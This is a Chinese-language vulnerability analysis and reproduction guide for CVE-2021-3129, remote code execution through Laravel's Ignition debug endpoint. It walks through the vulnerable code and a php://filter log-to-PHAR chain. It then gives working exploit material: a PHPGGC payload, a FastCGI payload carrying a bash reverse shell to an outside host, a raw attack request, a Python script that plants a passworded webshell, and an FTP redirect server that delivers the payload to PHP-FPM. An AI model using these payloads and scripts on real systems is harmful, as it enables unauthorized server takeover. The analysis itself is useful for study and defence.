# Laravel <= 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129
## 漏洞描述
Laravel 是一个免费的开源 PHP Web 框架，旨在实现的Web软件的MVC架构。2021年1月13日，阿里云应急响应中心监控到国外某安全研究团队披露了 Laravel <= 8.4.2 存在远程代码执行漏洞。当Laravel开启了Debug模式时，由于Laravel自带的Ignition功能的某些接口存在过滤不严，攻击者可以发起恶意请求，通过构造恶意Log文件等方式触发Phar反序列化，从而造成远程代码执行，控制服务器。漏洞细节已在互联网公开。阿里云应急响应中心提醒 Laravel 用户尽快采取安全措施阻止漏洞攻击。
## 漏洞影响
> [!NOTE]
>
> Laravel 框架 < 8.4.3
>
> facade ignition 组件 < 2.5.2
## 环境搭建
```
https://github.com/SNCKER/CVE-2021-3129.git
docker-compose up -d
```
点击生成密钥出现如下图即成功创建漏洞环境
## 漏洞复现
按照漏洞公开文章需要先有一个未知变量的错误，来点击 **Make variable optional**
> [!NOTE]
>
> 按照官方手册创建路由和View模板
通过点击“Make variableOptional”按钮，模板变量则会被修改。如果检查HTTP日志，我们就会看到被调用的端点
通过这些solutions，开发者可以通过点击按钮的方式，快速修复一些错误。本次漏洞就是其中的`vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php`过滤不严谨导致的。首先我们到执行solution的控制器当中去，看看是如何调用到solution的
```php
<?php
namespace Facade\Ignition\Http\Controllers;
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
```
接着调用solution对象中的`run()`方法，并将可控的`parameters`参数传过去。通过这个点我们可以调用到`MakeViewVariableOptionalSolution::run()`
```php
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}
```
可以看到这里主要功能点是：读取一个给定的路径，并替换`$variableName`为`$variableName ?? ''`，之后写回文件中。由于这里调用了`file_get_contents()`，且其中的参数可控，所以这里可以通过`phar://`协议去触发phar反序列化。如果后期利用框架进行开发的人员，写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件，利用上述的`file_get_contents()`去触发phar反序列化，达到rce的效果。
除了解决方案的类名之外，还发送了一个文件路径和一个我们要替换的变量名。这看起来非常让人感兴趣。
让我们先检查一下类名的利用方法：我们可以实例化任意的类吗？
```php
class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
...
public function getSolutionForClass(string $solutionClass): ?Solution
{
if (! class_exists($solutionClass)) {
return null;
}
if (! in_array(Solution::class, class_implements($solutionClass))) {
return null;
}
return app($solutionClass);
}
}
```
答案是否定的：Ignition总是用我们指向的类来实现**RunnableSolution**
那么，让我们仔细看看这个类。实际上，负责该操作的代码位**./vendor/facade/ignition/sr/solutions/MakeViewVariableOptionalSolution.php**文件中。那么，我们可以更改任意文件的内容么？
```php
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']); // [1]
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { // [3]
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
...
}
```
这段代码比我们预想的要复杂一些：它会在读取给定的文件路径[1]后，将$variableName替换为$variableName ?? ''，初始文件和新文件都将被标记化[2]。如果我们的代码结构没有发生超出预期的变化，文件将被替换为新的内容。否则，makeOptional将返回false[3]，新文件将不会被写入。因此，我们无法使用variableName做太多事情。
剩下的唯一输入变量就是viewFile。如果我们对variableName和它的所有用法进行抽象，我们最终会得到下面的代码片段：
```php
$contents =file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
```
到目前为止，大家可能都听说过Orange Tsai演示的上传进度技术。该技术利用php://filter在返回文件之前修改其内容。借助于该技术，我们就可以通过漏洞利用原语来转换文件的内容
```shell
$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
```
```shell
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f);
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents);
```
```shell
$ cat /path/to/file.txt
test
```
我们已经改变了文件的内容！遗憾的是，这将会应用两次转换。阅读文档后，我们找到了只进行一次转换的方法：
```shell
# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';
```
坏字符甚至都会被忽略：
```shell
$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f);
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
```
默认情况下，Laravel的日志文件（存放PHP错误和堆栈跟踪）是存储在storage/log/laravel.log中的。下面，让我们通过尝试加载一个不存在的文件来生成一个错误, 即SOME_TEXT_OF_OUR_CHOICE：
```shell
[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}
```
我们可以向文件中注入（几乎）任意的内容了。理论上讲，我们可以使用Orange发明的技术将日志文件转换为有效的PHAR文件，然后，使用phar://包装器来运行序列化的代码。遗憾的是，这实际上是行不通的，并且原因有很多。
```php
我们在前面说过，当对一个字符串进行ba se64-decoding处理时，PHP会忽略任何坏字符。这通常是正确的，但是有一个字符除外，即=。如果你使用ba se64-decode过滤一个中间含有字符=的字符串，PHP将产生一个错误，并且不会返回任何内容。
如果我们能控制整个文件，那就好了。然而，我们注入到日志文件中的文本只是其中很小的一部分。它不仅有一个不算很大的前缀（日期），还有一个臃肿的后缀（堆栈跟踪）。此外，我们注入的文本还出现了两次！
下面是另一件可怕的事情：
php > var_dump(base64_decode(base64_decode('[2022-04-3023:59:11]')));
string(0) ""
php >var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"
```
根据日期的不同，对前缀进行两次解码时，会得到不同大小的结果。当我们对它进行第三次解码时，在第二种情况下，我们的payload将以2作为前缀，从而需要改变base64消息的对齐方式。
为了使其正常运行，我们必须为每个目标建立一个新的payload，因为堆栈跟踪中包含绝对文件名；并且，每秒都需要建立一个新的payload，因为前缀中包含时间。并且，只要有一个字符=需要进行base64-decode处理，仍然会面临失败。
因此，我们回到PHP文档中寻找其他类型的过滤器。
```
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
```
遗憾的是，我们已经了解到，如果滥用base64-decode的话，可能会在某个时候失败。现在，让我们来利用这一点：如果我们滥用它，将发生解码错误，日志文件将被清除！这样，我们触发的下一个错误将单独存在于日志文件中：
```
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
```
现在，我们又回到了最初的问题上：保留一个payload并删除其余的。幸运的是，php://filter并不限于base64操作。例如，我们可以用它来转换字符集，下面是从UTF-16到UTF-8的转换：
```php
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠
```
我们的payload还在那里，安全无恙，只是前缀和后缀变成了非ASCII字符。然而，在日志条目中，我们的payload出现了两次，而不是一次。我们需要去掉第二个。
由于每个UTF-16字符占用两个字节，所以，我们可以通过在PAYLOAD的第二个实例的末尾增加一个字节，来使其无法对齐：
```shell
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠
```
这样做的好处是，前缀的对齐方式不再重要：如果前缀大小相等，第一个payload将被正确解码；否则的话，第二个payload就会被正确解码。
如果将上面的发现与前面的base64-decoding结合起来，就能够对我们想要的任何东西进行编码：
```php
$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!
```
说到对齐，如果日志文件本身不是2字节对齐的，转换过滤器将如何处理？
```
PHP Warning: file_get_contents(): iconv stream filter("utf16le"=>"utf-8"): invalid multibyte sequence in phpshell code on line 1
```
这又是一个问题。不过，我们可以借助两个payload来轻松地解决这个问题：一个是无害的payload A，另一个是具有攻击性的payload B，具体如下所示：
```
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
```
由于这里前缀、中缀和后缀都存在两份，还提供了payload_a和payload_b，所以，日志文件的大小必然是偶数，从而避免了错误的发生。
最后，我们还要解决最后一个问题：我们使用NULL字节将payload的字节从一个填充为两个。在PHP中试图加载一个带有NULL字节的文件时，会生成以下错误：
```
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string givenin php shell code on line 1
```
因此，我们将无法在错误日志中注入带有NULL字节的payload。幸运的是，最后一个过滤器可以帮到我们，它就是convert.quoted-printable-decode。
我们可以使用=00对NULL字节进行编码。
### 下面是我们最终的转换链：
```php
viewFile:php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.ba se64-decode/resource=/path/to/storage/logs/laravel.log
```
创建一个PHPGGC payload，并对其进行编码：
```php
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
```
清空日志
```shell
viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
```
创建第一个日志条目，用于对齐：
```
viewFile: AA
```
创建带有payload日志条目：
```php
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
```
通过我们的过滤器将日志文件转换为有效的PHAR：
```php
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
```
启动PHAR的反序列化过程：
```php
viewFile: phar:///path/to/storage/logs/laravel.log
```
### 利用FTP与PHP-FPM进行交互
由于我们可以运行file_get_contents来查找任何东西，因此，可以通过发送HTTP请求来扫描常用端口。结果发现，PHP-FPM似乎正在侦听端口9000。
众所周知，如果我们能向PHP-FPM服务发送一个任意的二进制数据包，就可以在机器上执行代码。这种技术经常与gopher://协议结合使用，curl支持gopher://协议，但PHP却不支持。
另一个已知的允许通过TCP发送二进制数据包的协议是FTP，更准确的说是该协议的被动模式：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的一个端口，如果它愿意的话。
现在，如果我们尝试使用viewFile=ftp://evil-server.lexfo.fr/file.txt来利用这个漏洞，会发生以下情况：
file_get_contents()连接到我们的FTP服务器，并下载file.txt。
file_put_contents()连接到我们的FTP服务器，并将其上传回file.txt。
您可能已经知道这是怎么回事：我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件，当它试图使用file_put_contents()把它上传回去时，我们将告诉它把文件发送到127.0.0.1:9000。
这样，我们就可以向PHP-FPM发送一个任意的数据包，从而执行代码。
利用这种方法，在我们的目标上成功地利用了该漏洞。
下面我们来演示一下攻击过程。
首先，我们使用gopherus生成攻击fastcgi的payload：
```shell
python gopherus.py --exploit fastcgi
/var/www/public/index.php # 这里输入的是目标主机上一个已知存在的php文件
bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1" # 这里输入的是要执行的命令
```
得到payload，而我们需要的是上面payload中 **_**后面的数据部分，即：
```php
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
```
将数据添加到如下**FTP脚本**中的payload(脚本在文章末尾和 POC目录中)
监听刚刚的反弹shell端口并运行 FTP脚本
发送请求反弹shell
```json
POST /_ignition/execute-solution HTTP/1.1
Host: xxx.xxx.xxx.xxx:8888
Content-Type: application/json
Content-Length: 191
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://[email protected]:23/123"
}
}
```
> [!NOTE]
>
> 使用Docker环境无法复现，需要搭建另一个环境
## 漏洞利用POC
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP/blob/main/laravel-CVE-2021-3129-EXP.py
```python
# -*- coding: utf-8 -*-
import requests,json
import sys,re
proxies = {
"http": '127.0.0.1:8080'}
header={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Content-Type":"application/json"
}
def clearlog(url):
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def AA(url):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "AA"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def sendpayloadwindows(url):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": 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}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def sendpayloadlinux(url):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": 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}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def filterlog(url):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def phar(url,path):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "phar://"+path+"\storage\\logs\\laravel.log\\test.txt"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def pharl(url,path):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "phar://"+path+"/storage/logs/laravel.log/test.txt"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def path(url):
req=requests.get(url).text
pattern = re.compile(r'(\#\d*\ (.*)(?:\/|\\)vendor)')
m=pattern.findall(req)
return m[0][1]
if __name__=='__main__':
print(
'''
██████ ▓█████ ▄████▄ ██▓███ ██▀███ ▒█████ ██████
▒██ ▒ ▓█ ▀ ▒██▀ ▀█ ▓██░ ██▒▓██ ▒ ██▒▒██▒ ██▒▒██ ▒
░ ▓██▄ ▒███ ▒▓█ ▄ ▓██░ ██▓▒▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄
▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒▒██▄█▓▒ ▒▒██▀▀█▄ ▒██ ██░ ▒ ██▒
▒██████▒▒░▒████▒▒ ▓███▀ ░▒██▒ ░ ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒
▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░▒▓▒░ ░ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ░▒ ░ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░
░ ░ ░ ░ ░ ░░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░░ ░ ░ ░ ░ ░
░
''')
url=sys.argv[1]+"/_ignition/execute-solution"
clearlog(url)
clearlog(url)
clearlog(url)
clearlog(url)
clearlog(url)
if(AA(url).status_code==500):
if(":" in path(url)):
print("windows")
if(sendpayloadwindows(url).status_code==500):
if(filterlog(url).status_code==200):
if(phar(url,path(url)).status_code==500):
if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
print("[+]webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
else:
print("[-]漏洞不存在")
if(":" not in path(url)):
print("linux")
if(sendpayloadlinux(url).status_code==500):
if(filterlog(url).status_code==200):
if(pharl(url,path(url)).status_code==500):
if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
print("webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
else:
print("[-]漏洞不存在")
```
根据路径密码使用哥斯拉连接木马
**FTP脚本**
```python
# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则：35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件，需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
```
## 参考文章
[米斯特团队|漏洞分析 | Laravel Debug页面RCE（CVE-2021-3129）分析复现](https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g)
[陌陌安全|FTP利用|LARAVEL的那个RCE最有趣的点在这里](https://mp.weixin.qq.com/s/UPf62W0LoOGsFAdH4uqBcQ)
[原作者漏洞分析](https://www.ambionics.io/blog/laravel-debug-rce)